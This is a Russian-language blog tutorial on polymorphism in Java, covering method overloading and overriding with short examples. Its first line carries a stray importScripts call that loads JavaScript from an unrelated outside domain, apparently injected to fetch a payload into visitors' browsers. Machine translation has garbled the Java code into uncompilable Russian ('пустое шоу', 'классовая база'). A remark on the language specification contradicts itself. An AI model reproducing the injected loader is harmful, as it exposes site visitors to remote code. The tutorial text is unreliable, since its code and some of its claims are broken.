google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Полиморфизм в Java

  • Полиморфизм используется, чтобы принять способность нескольких 
    различных форм. Или мы можем сказать, что выполняют одну задачу по-разному.
  • В java + оператор используется для добавления, а также для объединения 
    (объединения) строк. Здесь один оператор делает две разные вещи в зависимости 
    от типа аргумента, так что это ситуация полиморфизма.

Типы полиморфизма

Полиморфизм времени компиляции

  • Когда функциональные возможности объекта связаны во время компиляции, это называется 
    полиморфизмом времени компиляции.
  • Полиморфизм времени компиляции бывает двух типов: перегрузка операторов и перегрузка 
    методов.
  • Java не поддерживает перегрузку операторов, она поддерживает только перегрузку методов.
Примечание: в спецификации языка Java указано, что java не 
поддерживает полиморфизм времени компиляции, перегрузка метода также поддерживается при переопределении метода.

Полиморфизм времени выполнения

  • Когда функциональные возможности объекта связаны во время выполнения, это называется 
    полиморфизмом времени выполнения.
  • Переопределение метода 
    является примером полиморфизма во время выполнения.

Перегрузка метода

Всякий раз, когда мы храним более одного метода с одним и тем же именем, но 
различного по прототипу в классе, это называется перегрузкой метода.
Перегрузка метода достигается при:
1. Количество аргументов различно
void show (int a);
void show (int a, int b);
2. Количество аргументов одинаковое, но разное по типу данных
void show (int a);
пустое шоу (float a);
пустое шоу (длинное);
Программа для показа перегрузки метода приведена ниже.
демонстрация класса
{
  пустое шоу (int a)
  {
  
System.out.println ( «ИНТ»);
  }
 
  пустое шоу (float a)
  {
  
System.out.println ( «плавать»);
  }
 
  пустое шоу (длинное)
  {
  
System.out.println ( «длинный»);
  }
 
  public static void main (String… s)
  {
    demo d = new 
demo ();
    d.show (10);
    d.show (10.0f);
    d.show (10L);
  }
}

Перегрузка функций

Переопределение метода

Когда родительский и дочерний класс имеют один и тот же метод, он называется 
переопределением метода.
классовая база
{
                void 
show ()
                {
                                System.out.println ( «база»);
                }
}
класс ребенок расширяет базу
{
                void 
show ()
                {
                                System.out.println ( «ребенок»);
                }
                public 
static void main (String… s)
                {
                                child 
c = new child ();
                                c.show ();
                }
}
Переопределение функций
Если у вас есть какие-либо сомнения в этом уроке, вы можете задать 
свой вопрос.

Комментариев нет:

Отправить комментарий